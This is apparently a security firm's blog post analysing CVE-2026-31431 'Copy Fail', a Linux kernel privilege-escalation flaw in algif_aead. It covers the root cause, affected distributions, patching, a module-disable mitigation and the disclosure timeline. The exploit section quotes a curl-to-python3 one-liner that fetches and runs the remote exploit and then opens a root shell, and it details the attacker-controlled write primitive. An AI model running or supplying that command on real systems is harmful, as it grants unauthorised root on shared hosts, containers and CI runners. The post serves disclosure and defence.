Pentesting
CVE
Linux
LPE

CVE-2026-31431 Copy Fail: Root on Every Linux Since 2017 with 732 Bytes

Technical analysis of Copy Fail (CVE-2026-31431): a logic flaw in algif_aead enabling root on any Linux since 2017 with 732 bytes of Python. Mitigation and patch included.

SecraApril 29, 20268 min read

Today, April 29, 2026, Xint Code (Theori) publicly disclosed Copy Fail, a critical Linux kernel vulnerability that allows any local user to escalate privileges to root. No race window. No kernel offsets. The same 732-byte script works unmodified on Ubuntu, Amazon Linux, RHEL, SUSE and any distribution running a kernel compiled between 2017 and the patch. It's the kind of flaw that, once you understand it, you can't believe it sat there for nine years.

What Copy Fail is and why it matters

CVE-2026-31431 is a logic bug in the kernel module algif_aead, specifically in how the authencesn cryptographic subsystem interacts with the AF_ALG interface and the splice() system call. The chain of subsystems that makes it possible has been active since 2017. The result: an unprivileged process can write 4 bytes in a controlled fashion into the page cache of any readable file, including setuid binaries like /usr/bin/su.

Translated into practical terms: a root shell. No trace on disk. No reboot needed. No external tools. Just Python stdlib.

The technical flaw

Understanding Copy Fail requires looking at three pieces that fit together in an unfortunate way.

AF_ALG is the kernel interface that exposes cryptographic operations to userspace via sockets. An unprivileged process can create an AF_ALG socket, bind it to an AEAD template like authencesn, and ask the kernel to encrypt or decrypt data.

splice() is a system call that transfers data between two file descriptors without copying: it passes direct references to pages in the kernel's page cache. When a file is sent via splice() to an AF_ALG socket, the kernel delivers the actual page cache pages of that file to the cryptographic subsystem, not a copy.

The 2017 in-place optimization is where the problem originates. Commit 72548b093ee3 modified algif_aead.c so that AEAD decryption operates in place: the same scatterlist serves as both input and output. Before this change, the source (which can contain page cache pages of a file) and the destination were separate buffers. With the change, the destination reuses the source's pages via sg_chain(), chaining page cache pages into the writable scatterlist.

The final piece is authencesn. This module implements IPsec ESN (Extended Sequence Number) support and uses the caller's destination buffer as temporary scratch space: during decryption, crypto_authenc_esn_decrypt() writes 4 bytes at position assoclen + cryptlen, just past the AEAD tag boundary. On the in-place path, those 4 bytes land inside the chained page cache pages.

What makes this particularly dangerous: the kernel never marks that page dirty for writeback. The file on disk remains untouched; only the in-memory copy (the page cache) is modified. The modification persists until the next reboot or until the kernel evicts that page.

The parameters the attacker controls

The attacker has precise control over three variables of the write:

  • Target file: any file readable by the current process.
  • Offset: determined by the splice() file offset, the splice() length, and the value of assoclen.
  • Value: the 4 bytes written are seqno_lo, constructed by the attacker in bytes 4-7 of the AAD payload sent via sendmsg().

This turns the bug into a 4-byte arbitrary write primitive into any page cache page the process can read.

Who is affected

Any Linux system with the algif_aead module available (built-in or loadable) and a kernel compiled since 2017. In practice, that covers almost everything.

Xint's researchers verified exploitation on these distributions:

DistributionKernel version
Ubuntu 24.04 LTS6.17.0-1007-aws
Amazon Linux 20236.18.8-9.213.amzn2023
RHEL 14.36.12.0-124.45.1.el10_1
SUSE 166.12.0-160000.9-default

Also confirmed affected: Debian, Arch, Fedora, Rocky Linux, AlmaLinux, Oracle Linux, and any distribution shipping a kernel from the affected range.

The highest-risk scenarios, ordered by impact:

  1. Multi-user Linux hosts. Any unprivileged local account becomes root. A developer, a contractor with restricted access, any system user can take over the machine.

  2. Kubernetes clusters and container environments. A container sharing the host kernel can use this exploit to escape to the node and compromise other tenants on the same machine. Namespace-based isolation does not protect against kernel vulnerabilities.

  3. CI runners and build farms. A repository with a malicious PR containing a build step can obtain root on the runner (GitHub Actions self-hosted, GitLab runners, Jenkins agents). From there: access to CI secrets, deployment tokens and signing keys.

  4. Cloud SaaS running user code. Cloud notebooks, code sandboxes, serverless functions on shared Linux. Tenant isolation depends on the kernel having no flaws of this type.

  5. Standard Linux servers. LPE that chains with any remote code execution vulnerability (a web application, stolen credentials, an exposed service) to complete the path to root.

  6. Single-user workstations. Useful for privilege step-up post-exploitation: obtaining root from a compromised process running as a normal user.

The exploit

The published PoC is a 732-byte Python script that depends only on the standard library: os, socket and zlib. It requires Python 3.10 or higher (for os.splice). No race conditions, no compiled native code, no per-distribution parameters and no kernel version checks.

The repository is available at github.com/theori-io/copy-fail-CVE-2026-31431.

The verification example shown in the official advisory:

curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)

Important notice: only run this exploit on systems you own or have written authorisation to test. The page cache modification does not persist after a reboot, but the root shell obtained during the active session is fully real and functional.

Mitigation: what to do now

Priority one: patch the kernel

The fix is mainline commit a664bf3d603d. It reverts algif_aead to out-of-place operation, separating req->src (the TX SGL that may contain page cache pages) from req->dst (the user buffer of the RX SGL). The commit message is direct: "There is no benefit in operating in-place in algif_aead since the source and destination come from different mappings."

Major distributions are already shipping patched kernels. Update with the appropriate package manager:

# Debian/Ubuntu
apt update && apt upgrade linux-image-$(uname -r)

# RHEL/Rocky/Alma
dnf update kernel

# SUSE
zypper update kernel-default

Temporary mitigation (if you cannot patch immediately)

Disable the algif_aead module:

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null || true

This blocks AF_ALG AEAD socket creation, eliminating the exploitation vector. The modprobe.d file ensures the block survives reboots.

What this temporary mitigation breaks

The vast majority of systems will notice no change. The AF_ALG interface is rarely used directly by userspace applications. What keeps working without issue:

  • dm-crypt and LUKS (disk encryption)
  • kTLS (kernel-level TLS)
  • IPsec/XFRM (the kernel-internal path, does not use AF_ALG)
  • OpenSSL, GnuTLS, NSS in their default builds
  • SSH
  • Kernel keyring crypto

What may break: applications explicitly configured to use AF_ALG as a hardware cryptography accelerator. This includes OpenSSL with the afalg engine enabled, embedded hardware crypto offload solutions, and any application that directly opens sockets of type aead, skcipher or hash over AF_ALG.

To check whether any process on the system is actively using AF_ALG:

lsof | grep AF_ALG
# or equivalently
ss -xa | grep algif

For environments running untrusted workloads

In containers, sandboxes and CI runners, block AF_ALG socket creation via seccomp even after applying the patch. It's an additional defense-in-depth layer with no meaningful operational cost.

Disclosure timeline

DateEvent
March 23, 2026Vulnerability reported to the Linux kernel security team
March 24, 2026Initial acknowledgment from the kernel team
March 25, 2026Patches proposed and reviewed
April 1, 2026Patch committed to mainline
April 22, 2026CVE-2026-31431 assigned
April 29, 2026Public disclosure

How it was discovered

Copy Fail was discovered by researcher Taeyang Lee from Xint Code (Theori) using AI-assisted analysis of the crypto/ subsystem in the Linux kernel. Taeyang guided the tool with a prompt specifically noting that splice() delivers page cache references of read-only files (including setuid binaries) to cryptographic TX scatterlists. "After about an hour, the scan was complete, and Copy Fail was the highest severity output."

The same analysis also identified other high-severity vulnerabilities currently under responsible disclosure.

This has direct implications for the field: automated kernel code analysis tools are reaching a depth that, two years ago, would have required weeks of manual work by an experienced kernel security researcher. The Linux kernel's attack surface is enormous, and most of that code has not seen a thorough review in years.

Verify whether your infrastructure is exposed

If you manage Linux servers or container environments, now is the time to check:

  1. Identify which kernel version each system is running: uname -r.
  2. Check whether algif_aead is available: modinfo algif_aead.
  3. Apply the patch or the temporary mitigation on systems that cannot be updated immediately.
  4. For cloud and Kubernetes environments, review the seccomp policies on your pods.

At Secra we help organisations assess their real exposure to vulnerabilities of this type and validate that security controls work before an attacker does. If you want an assessment of your exposure surface, contact us through our contact page.

About the author

Secra Solutions team

Ethical hackers with OSCP, OSEP, OSWE, CRTO, CRTL and CARTE certifications, 7+ years of experience in offensive cybersecurity, and authors of CVE-2025-40652 and CVE-2023-3512.

Meet the team →

Share article

👋Hi! Have any questions? Write to us, we reply in minutes.

Open WhatsApp →